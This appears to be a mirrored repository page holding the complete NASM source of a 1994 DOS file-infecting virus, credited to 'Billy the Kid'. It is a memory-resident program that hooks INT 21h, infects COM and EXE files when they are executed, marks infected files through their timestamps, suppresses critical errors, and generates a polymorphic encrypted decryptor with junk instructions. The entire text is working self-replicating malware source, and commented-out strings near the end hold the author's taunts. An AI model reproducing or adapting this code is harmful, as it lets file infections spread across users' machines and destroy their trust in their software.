mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1040 lines
19 KiB
NASM
1040 lines
19 KiB
NASM
assume ss:codevir
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||
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||
pila segment stack 'stack'
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||
db 64 dup ('12345678')
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pila ends
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code segment
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anfitrion:
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assume cs:code, ds:code
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||
mov ah, 02h
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||
mov dl, 'z'
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int 21h
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mov ax, 4C00h
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int 21h
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code ends
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||
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codevir segment
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assume cs:codevir, ds:codevir
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start:
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mov cx, (offset fincomienzo)-(offset comienzo)+(longi)+16
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mov si, offset comienzo ; Puesto por el compilador
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bucleen:
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xor byte ptr cs:[si],00h
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xor byte ptr cs:[si],00h
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inc si
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||
loop bucleen
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;***comienzo***
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comienzo:
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call acanomas
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acanomas label near
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pop ax
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add ax, offset fincomienzo - offset acanomas
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test al, 0Fh
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jz noinc
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add ax, 0010h
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noinc:
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mov cl, 04h
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shr ax, cl
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mov cx, ax
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push cs
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pop bx
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add bx, cx
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xor ax, ax
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push cs
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push bx
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push ax
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retf ; Salto a OFS0
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fincomienzo:
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codevir ends
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;***OFS0***
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porfin segment
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assume cs:porfin, ds:porfin
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; Estoy en offset 0 con el segmento anterior
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; en la pila
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add cs:[segcsm], cx
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mov ah, 0DDh
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int 21h
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cmp ax, 'LO'
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mov cs:[segant], ds
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push cs ; DS = Ac
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pop ds ; ES = Anterior
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pop es ;
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jnz noactivo
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jmp correr
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noactivo:
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push ds
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push es
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cld
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mov ds, [segant]
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push cs
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pop es
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mov cx, 0010h
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xor si, si
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mov di, offset bufpsp
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rep movsb
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pop es
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pop ds
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call activar
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push es
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mov es, [segant]
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mov cx, 0010h
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xor di, di
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mov si, offset bufpsp
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rep movsb
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pop es
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correr:
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cmp byte ptr [origen], 'C'
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jnz desdeexe
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desdecom:
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mov si, offset original ; Los 3 bytes del comienzo original
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mov di, 0100h
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cld
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movsw
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movsb
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mov ds, [segant]
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push ds
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mov ax, 0100h
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push ax
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retf ; Al comienzo del anfitri¢n
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desdeexe:
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mov cx, [ofsexe]
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mov bx, cs
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sub bx, [segcsm]
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mov ax, [segstk]
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add ax, bx
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cli
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mov ss, ax
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mov sp, [ofsstk]
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sti
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mov ax, [segexe]
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add ax, bx
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mov es, [segant]
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mov ds, [segant]
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push ax
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push cx
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retf ; Al comienzo del anfitri¢n
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activar proc
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cli
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push es
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mov es, [segant]
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mov ah, 49h
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int 21h
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mov ah, 48h
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mov bx, 0FFFFh
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int 21h
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sub bx, tamres+1
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mov ah, 4Ah
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int 21h
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mov ax, es
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add ax, bx
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mov word ptr cs:[bufpsp + 0002h], ax
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mov ah, 48h
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mov bx, tamres
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int 21h
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mov es, ax
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call recubre
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copiamem:
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xor si, si
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mov di, si
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mov cx, longi
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cld
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rep movsb
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push es
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pop ds
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mov ax, 3521h
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int 21h
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mov [int21cs], es
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mov [int21ip], bx
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mov dx, offset handler
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call setintvec
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push cs
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pop ds
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noalcanza:
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pop es
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sti
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ret
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activar endp
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recubre proc
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push ax
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mov ax, es
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dec ax
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mov es, ax
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mov word ptr es:[0001h], 0008h
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mov ax, es
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inc ax
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mov es, ax
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pop ax
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ret
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recubre endp
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setintvec proc
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; Entrada:
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; AL : N£mero de interrupci¢n
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; DS:DX : Puntero al handler
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pushf
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push ax
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push bx
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push es
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cli
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xor bh, bh
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mov bl, al
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shl bx, 01h
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shl bx, 01h
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xor ax, ax
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mov es, ax
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mov es:[bx], dx
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mov es:[bx+02h],ds
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pop es
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pop bx
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pop ax
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popf
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ret
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setintvec endp
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handler proc
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cmp ah, 0DDh
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jne vamo
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mov ax, 'LO'
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iret
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vamo:
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cmp ah, 4Bh
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je fexec
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finfexec:
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jmp dword ptr cs:[int21ip]
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handler endp
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fexec proc
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cld
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push bp
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push ds
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push es
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mov ah, 48h
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mov bx, 0100h
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pushf
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call dword ptr cs:[int21ip]
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jc memoerror1
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mov es, ax
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push es
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push ds
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push dx
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mov ax, 3524h
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pushf
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call dword ptr cs:[int21ip]
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mov cs:[int24ip], bx
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mov cs:[int24cs], es
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mov dx, offset hand24
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push cs
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pop ds
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call setintvec
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pop dx
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pop ds
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pop es
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call getattr
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mov ax, 3D02h
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pushf
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call dword ptr cs:[int21ip]
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jc openerror1
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push ds
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push dx
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mov bx, ax
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mov cs:[fhandle], ax
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mov ah, 3Fh
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mov cx, 0004h
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push cs
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pop ds
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mov dx, offset original ; Estos bytes ahora est n inutilizados
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pushf
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call dword ptr cs:[int21ip]
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pop dx
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pop ds
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jc readerror1
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push dx
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mov ax, 5700h
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pushf
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call dword ptr cs:[int21ip]
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mov cs:[fhora], cx
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mov cs:[ffecha],dx
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pop dx
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and cl, 00000111b
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cmp cl, 00000101b
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jz readerror1 ; 'ta listo
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push ds
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push dx
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xor bp, bp
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cmp cs:[original],'ZM'
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jz dale ; Dale al COM
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inc bp
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jmp dale ; Dale al EXE
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openerror1: ; Para permitir saltos cortos
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jmp openerror ;
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memoerror1: ;
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jmp memoerror ;
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readerror1: ;
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jmp readerror ;
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writeerror1: ;
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jmp writeerror ;
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dale:
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push cs
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pop ds
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mov [origen],'C'
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or bp, bp
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jnz escom1
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mov [origen],'E'
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escom1:
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call alineafile ; DX:AX = Nueva longitud del archivo
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cmp dl, 08h
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ja writeerror1 ; Archivo de mas de 600k
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push ax
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push dx
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mov cs:[longhi], dx
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mov cs:[longlo], ax
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call crea ; DI = Longitud del bloque a meter
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jnc bien
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pop ds
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pop ax
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jmp writeerror
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bien:
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mov bx, [fhandle]
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push es
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pop ds
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pop dx
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pop ax
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push ax
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add ax, 0100h
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mov si, cs:[ddespl]
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or bp, bp
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jz esexe2
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add [si+01h], ax
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esexe2:
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mov cx, di
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mov ah, 40h
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xor dx, dx
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pushf
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call dword ptr cs:[int21ip]
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pop dx
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jc writeerror
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cmp ax, cx
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jb writeerror
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push cs
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pop ds
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sub dx, 0003h
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mov [dsalto], dx
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mov ax, 4200h
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xor cx, cx
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mov dx, cx
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pushf
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call dword ptr cs:[int21ip]
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or bp, bp
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jz esexe3
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mov ah, 40h
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mov cx, 0003h
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mov dx, offset cambiazo
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pushf
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call dword ptr cs:[int21ip]
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jc writeerror
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esexe3:
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mov dx,[ffecha]
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mov cx,[fhora]
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and cl, 11111000b
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or cl, 00000101b
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mov ax, 5701h
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pushf
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call dword ptr cs:[int21ip]
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writeerror:
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pop dx
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pop ds
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readerror:
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mov ah, 3Eh
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pushf
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call dword ptr cs:[int21ip]
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openerror:
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call setattr
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mov dx, [int24ip]
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mov ds, [int24cs]
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mov al, 24h
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call setintvec
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mov ah, 49h
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pushf
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call dword ptr cs:[int21ip]
|
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memoerror:
|
||
pop es
|
||
pop ds
|
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pop bp
|
||
pop di
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||
pop si
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||
pop dx
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||
pop cx
|
||
pop bx
|
||
pop ax
|
||
jmp finfexeC
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||
fexec endp
|
||
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||
|
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||
|
||
alineafile proc
|
||
xor cx, cx
|
||
mov dx, cx
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||
mov ax, 4202h
|
||
pushf
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call dword ptr cs:[int21ip]
|
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mov cx, ax
|
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neg cl
|
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and cx, 000Fh
|
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mov cs:[agregado], cx
|
||
mov ah, 40h
|
||
pushf
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call dword ptr cs:[int21ip]
|
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mov ax, 4202h
|
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xor cx, cx
|
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mov dx, cx
|
||
pushf
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call dword ptr cs:[int21ip]
|
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ret
|
||
alineafile endp
|
||
|
||
|
||
|
||
getattr proc
|
||
mov ax, 4300h
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
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mov cs:[fattr], cx
|
||
mov ax, 4301h
|
||
xor cx, cx
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
ret
|
||
getattr endp
|
||
|
||
|
||
setattr proc
|
||
mov ax,4301h
|
||
mov cx, cs:[fattr]
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
ret
|
||
setattr endp
|
||
|
||
|
||
|
||
hand24 proc
|
||
xor al, al
|
||
iret
|
||
hand24 endp
|
||
|
||
|
||
|
||
crea proc
|
||
; Entrada
|
||
; ES := Segmento a donde se va a crear
|
||
; DS := Segmento de c¢digo
|
||
; Salida
|
||
; DI := Longitud
|
||
|
||
xor di, di
|
||
push bx
|
||
call genpar
|
||
pop bx
|
||
push di
|
||
mov cx, offset fincomienzor-offset comienzor
|
||
mov si, offset comienzor
|
||
rep movsb
|
||
alinea:
|
||
test di, 000Fh
|
||
jz yalineado
|
||
inc di
|
||
jmp alinea
|
||
yalineado:
|
||
|
||
or bp, bp
|
||
jnz escom41
|
||
|
||
|
||
push ds
|
||
|
||
push es
|
||
pop ds
|
||
|
||
xor cx, cx
|
||
mov dx, cx
|
||
mov ax, 4200h
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
|
||
mov ah, 3Fh
|
||
mov cx, 001Ch
|
||
lea dx, [di+offset finporfin]
|
||
mov si, dx
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
jc puchaaaa1
|
||
|
||
mov ax, cs:[longlo] ;
|
||
mov dx, cs:[longhi] ; Compruebo si tiene overlays
|
||
sub ax, cs:[agregado] ;
|
||
sbb dx, 0000h ;
|
||
mov cx, 0200h ;
|
||
div cx ;
|
||
or dx, dx ;
|
||
jz nomas2 ;
|
||
inc ax ;
|
||
nomas2: ;
|
||
cmp dx, [si+02h] ;
|
||
jne puchaaaa1 ;
|
||
cmp ax, [si+04h] ;
|
||
jne puchaaaa1 ;
|
||
|
||
mov ax, [si+08h]
|
||
mov cs:[shead], ax
|
||
mov ax, [si+0Ah]
|
||
mov cs:[minimo], ax
|
||
mov ax, [si+10h]
|
||
mov cs:[ofsstk], ax
|
||
mov ax, [si+0Eh]
|
||
mov cs:[segstk], ax
|
||
mov ax, [si+14h]
|
||
mov cs:[ofsexe], ax
|
||
mov ax, [si+16h]
|
||
mov cs:[segexe], ax
|
||
|
||
push bx
|
||
|
||
jmp fsdf
|
||
|
||
|
||
puchaaaa1:
|
||
jmp puchaaaa
|
||
escom41:
|
||
jmp escom4
|
||
|
||
|
||
fsdf:
|
||
mov ax, cs:[longlo]
|
||
mov dx, cs:[longhi]
|
||
|
||
push ax
|
||
push dx
|
||
|
||
add ax, offset finporfin
|
||
adc dx, 0000h
|
||
add ax, di
|
||
adc dx, 0000h
|
||
|
||
mov cx, 0200h
|
||
div cx
|
||
|
||
or dx, dx
|
||
jz nomas1
|
||
inc ax
|
||
nomas1:
|
||
mov [si+02h], dx
|
||
mov [si+04h], ax
|
||
mov cs:[fsize], ax
|
||
pop dx
|
||
pop ax
|
||
mov bx, dx
|
||
mov cl, 04h
|
||
shr ax, cl
|
||
shr dx, cl
|
||
mov cl, 0Ch
|
||
and bx, 000Fh
|
||
shl bx, cl
|
||
or ax, bx
|
||
pop bx
|
||
sub ax, [si+08h]
|
||
mov [si+16h], ax
|
||
mov cs:[segcsm], ax
|
||
dec ax
|
||
mov [si+0Eh], ax
|
||
lea ax, [di+offset finporfin+00FFh]
|
||
mov [si+10h], ax
|
||
mov word ptr [si+14h], 0000h
|
||
|
||
mov ax, 4200h
|
||
xor cx, cx
|
||
mov dx, cx
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
|
||
mov ah, 40h
|
||
mov cx, 001Ch
|
||
mov dx, si
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
jc puchaaaa
|
||
pop ds
|
||
escom4:
|
||
xor si, si
|
||
mov cx, offset finporfin
|
||
rep movsb
|
||
mov ax, di
|
||
pop di
|
||
push ax
|
||
sub ax, di
|
||
mov cx, ax
|
||
dec ax
|
||
dec ax
|
||
mov si, di
|
||
mov di, [dlongit]
|
||
mov es:[di+01h], ax
|
||
pop di
|
||
|
||
push ds
|
||
push es
|
||
pop ds
|
||
call encript
|
||
pop ds
|
||
mov ax, 4202h
|
||
xor cx, cx
|
||
mov dx, cx
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
clc
|
||
ret
|
||
|
||
puchaaaa:
|
||
pop ds
|
||
pop di
|
||
stc
|
||
ret
|
||
crea endp
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
;*******************COMIENZO DE RUTINAS PMORFICAS******************
|
||
rand proc near
|
||
push ds
|
||
push es
|
||
push bx
|
||
|
||
xor ax, ax
|
||
mov es, ax
|
||
mov ax, cs:[segale]
|
||
cmp ax, 61440
|
||
jb menor
|
||
mov ax, 61339
|
||
menor:
|
||
mov ds, ax
|
||
mov bx, cs:[ofsale]
|
||
mov ax, [bx]
|
||
mov cs:[segale], ax
|
||
mov bx, es:[046Ch]
|
||
mov ax, [bx]
|
||
add bx, ax
|
||
mov cs:[ofsale], bx
|
||
mov ax, [bx+10]
|
||
xor ax, bx
|
||
pop bx
|
||
pop es
|
||
pop ds
|
||
ret
|
||
rand endp
|
||
|
||
|
||
|
||
encript proc near
|
||
;Entrada
|
||
; DS:SI := Puntero a comienzo
|
||
; CX := Longitud
|
||
|
||
push si
|
||
bucle:
|
||
clave1 label byte
|
||
db 80h, 34h, 0FFh ; xor byte ptr [si],0FFh
|
||
clave2 label byte
|
||
db 80h, 04h, 0FFh ; add byte ptr [si],0FFh
|
||
inc si
|
||
loop bucle
|
||
pop si
|
||
ret
|
||
encript endp
|
||
|
||
|
||
|
||
|
||
fillclv proc near
|
||
;ENTRADA
|
||
; DH : Clave(0=Clave1/1=Clave2)
|
||
|
||
xor bh, bh
|
||
call rand
|
||
mov bl, al
|
||
and bl, 03h ; 03h = 00000011b
|
||
mov al, 80h
|
||
mov ah, offset tencri[bx]
|
||
or dh, dh
|
||
jz sc2
|
||
mov word ptr ds:[offset clave1], ax
|
||
mov ah, offset tencri[bx+4]
|
||
mov word ptr ds:[offset clavd1], ax
|
||
jmp short finfillclv
|
||
sc2:
|
||
mov word ptr ds:[offset clave2], ax
|
||
mov ah, offset tencri[bx+4]
|
||
mov word ptr ds:[offset clavd2], ax
|
||
finfillclv:
|
||
ret
|
||
fillclv endp
|
||
|
||
|
||
|
||
|
||
pone proc near
|
||
;Entrada
|
||
; AH := Modo (0=in£til/1=£til)
|
||
|
||
push cx
|
||
|
||
or ah, ah
|
||
jz noutil
|
||
|
||
xor dh, dh
|
||
mov dl, 0Ah
|
||
sub dl, cl
|
||
cmp dl, 03h
|
||
jz estres
|
||
cmp dl, 04h
|
||
jz escuatro
|
||
cmp dl, 05h
|
||
jz esdos
|
||
cmp dl, 08h
|
||
jz esocho
|
||
jmp listo
|
||
esdos:
|
||
mov [dirbucle], di
|
||
jmp listo
|
||
estres:
|
||
mov [dlongit], di
|
||
jmp listo
|
||
escuatro:
|
||
mov [ddespl], di
|
||
jmp listo
|
||
esocho:
|
||
mov [dirfbucle], di
|
||
|
||
listo:
|
||
mov cx, offset tablas
|
||
mov bx, offset tablasi
|
||
call lopone
|
||
jmp short finpone
|
||
noutil:
|
||
push cx
|
||
mov ah, 2Ah ; Get system date
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
mov si, dx
|
||
mov ah, 2Ch ; Get system time
|
||
pushf
|
||
call dword ptr cs:[int21ip]
|
||
xor si, dx
|
||
and si, 0001h ; 0003h= 00000000 00000001b
|
||
inc si
|
||
mov cx, si
|
||
bucle2:
|
||
push cx
|
||
call rand
|
||
xor dh, dh
|
||
mov dl, al
|
||
and dl, 07h ; 07h = 00000111b
|
||
mov cx, offset tablln
|
||
mov bx, offset tablano
|
||
call lopone
|
||
pop cx
|
||
loop bucle2
|
||
pop cx
|
||
|
||
finpone:
|
||
pop cx
|
||
ret
|
||
|
||
proc lopone
|
||
shl dl, 1
|
||
add dx, cx
|
||
push bx
|
||
mov bx, dx
|
||
mov ax, [bx]
|
||
pop bx
|
||
mov cl, ah
|
||
xor ch, ch
|
||
mov si, bx
|
||
xor ah, ah
|
||
add si, ax
|
||
cld
|
||
rep movsb
|
||
ret
|
||
lopone endp
|
||
pone endp
|
||
|
||
|
||
|
||
|
||
|
||
genpar proc near
|
||
;Entrada
|
||
; ES:DI := Puntero a desencriptor a generar
|
||
; DS := Segmento de c¢digo
|
||
|
||
push ds
|
||
push es
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
call rand
|
||
|
||
mov ds:[offset clavd2+2], ah ;
|
||
mov ds:[offset clave2+2], ah ; Set up claves
|
||
mov ds:[offset clavd1+2], al ;
|
||
mov ds:[offset clave1+2], al ;
|
||
|
||
xor dh, dh
|
||
call fillclv
|
||
inc dh
|
||
call fillclv
|
||
|
||
mov cx, 000Ah
|
||
pop es
|
||
bucle1:
|
||
xor ah, ah
|
||
call pone
|
||
inc ah
|
||
call pone
|
||
loop bucle1
|
||
|
||
push di
|
||
mov di, [dirfbucle]
|
||
inc di
|
||
mov ax, di
|
||
inc ax
|
||
sub ax, [dirbucle]
|
||
neg ax
|
||
stosb
|
||
mov di, [ddespl]
|
||
pop ax
|
||
mov es:[di+01h], ax
|
||
mov di, ax
|
||
pop ds
|
||
ret
|
||
genpar endp
|
||
|
||
|
||
|
||
;************************TABLA DE ENCRIPTORES******************
|
||
tencri label byte
|
||
db 04h
|
||
db 2Ch
|
||
db 34h
|
||
db 34h
|
||
|
||
db 2Ch
|
||
db 04h
|
||
db 34h
|
||
db 34h
|
||
|
||
|
||
;************************FIN TABLA ENCRIPTORES******************
|
||
|
||
|
||
;****************************TABLA UTIL***************************
|
||
tablas db 00, 01, 01, 01, 02, 01, 03, 03, 06, 03, 09, 03, 12, 03, 15, 01
|
||
db 16, 02, 18, 01
|
||
tablasi label byte
|
||
db 1Eh ; push ds
|
||
db 0Eh ; push cs
|
||
db 1Fh ; pop ds
|
||
db 0B9h ; mov cx, Longitud a desencriptar
|
||
dlongit dw ? ;
|
||
db 0BEh ; mov si, Comienzo
|
||
ddespl dw ? ;
|
||
clavd2 db 3 DUP (?)
|
||
clavd1 db 3 DUP (?)
|
||
db 46h ; inc si
|
||
db 0E2h ; loop bucle
|
||
salto db ?
|
||
db 1Fh ; pop ds
|
||
;******************************FIN TABLA UTIL************************
|
||
|
||
;****************************TABLA INUTIL***************************
|
||
tablln DB 00, 01, 01, 03, 04, 03, 07, 01, 08, 01, 09, 04, 13, 05, 18, 01
|
||
tablano label byte
|
||
db 90h
|
||
db 25h, 0FFh, 0FFh
|
||
db 0Dh, 00h, 00h
|
||
db 0F8h
|
||
db 0F9h
|
||
db 81h, 0C9h, 00h, 00h
|
||
db 80h, 06h, 34h, 12h, 00h
|
||
db 0FCh
|
||
;***********************FIN TABLA INUTIL**************************
|
||
|
||
|
||
;****************************VARIABLES***************************
|
||
dirbucle dw ?
|
||
dirfbucle dw ?
|
||
segale dw ?
|
||
ofsale dw ?
|
||
|
||
;*****************************FIN DE RUTINAS PMORFICAS****************
|
||
|
||
|
||
|
||
|
||
;Repetici¢n, pero en el otro segmento para que quede residente
|
||
|
||
comienzor:
|
||
call acanomasr
|
||
acanomasr label near
|
||
pop ax
|
||
add ax, offset fincomienzor - offset acanomasr
|
||
test al, 0Fh
|
||
jz noincr
|
||
add ax, 0010h
|
||
noincr:
|
||
mov cl, 04h
|
||
shr ax, cl
|
||
mov cx, ax
|
||
push cs
|
||
pop bx
|
||
add bx, ax
|
||
xor ax, ax
|
||
push cs
|
||
|
||
push bx
|
||
push ax
|
||
retf ; Salto a OFS0
|
||
fincomienzor:
|
||
|
||
;*****************************VARIABLES*******************************
|
||
|
||
longi = offset finporfin
|
||
tamres = 0100h
|
||
segant dw ?
|
||
origen db 'E'
|
||
|
||
bufpsp db 10h dup(?)
|
||
|
||
original label word
|
||
segexe dw 32
|
||
ofsexe dw 0
|
||
segcsm dw 33
|
||
segstk dw 0
|
||
ofsstk dw 0200h
|
||
fsize dw 3
|
||
shead dw 32
|
||
minimo dw 1
|
||
|
||
|
||
fhandle dw ?
|
||
fhora dw ?
|
||
ffecha dw ?
|
||
fattr dw ?
|
||
|
||
tapon db 'COMMAND'
|
||
|
||
cambiazo db 0E9h
|
||
dsalto DW ?
|
||
|
||
longlo dw ?
|
||
longhi dw ?
|
||
|
||
int21ip dw ?
|
||
int21cs dw ?
|
||
int24ip dw ?
|
||
int24cs dw ?
|
||
|
||
agregado dw ?
|
||
|
||
; db ' (C)1994 S.A.O. Texas. Billy the Kid Virus.'
|
||
; db ' Look out boy! This is the only far west virus that will make'
|
||
; db ' you cry for being born.'
|
||
; db ' P.S. : Listen Led Zeppelin and AC/DC with your sons and God'
|
||
; db ' will bless ya. '
|
||
; db ' Leave Castro alone.'
|
||
; db ' Superman... Why don't you fuck Luisa????'
|
||
; db " That's not a fuckin grafitti, it's a sign."
|
||
; db 'Jeroboam y todo el pueblo volvieron a ver a Rehoboam al tercer '
|
||
; db 'dia como lo ordeno el rey.'
|
||
; db 'I hate moscas.'
|
||
; db 'Hecho en China...no piensen que se hizo aca en Argentina.'
|
||
|
||
|
||
|
||
finporfin label byte
|
||
porfin ends
|
||
|
||
end start
|
||
|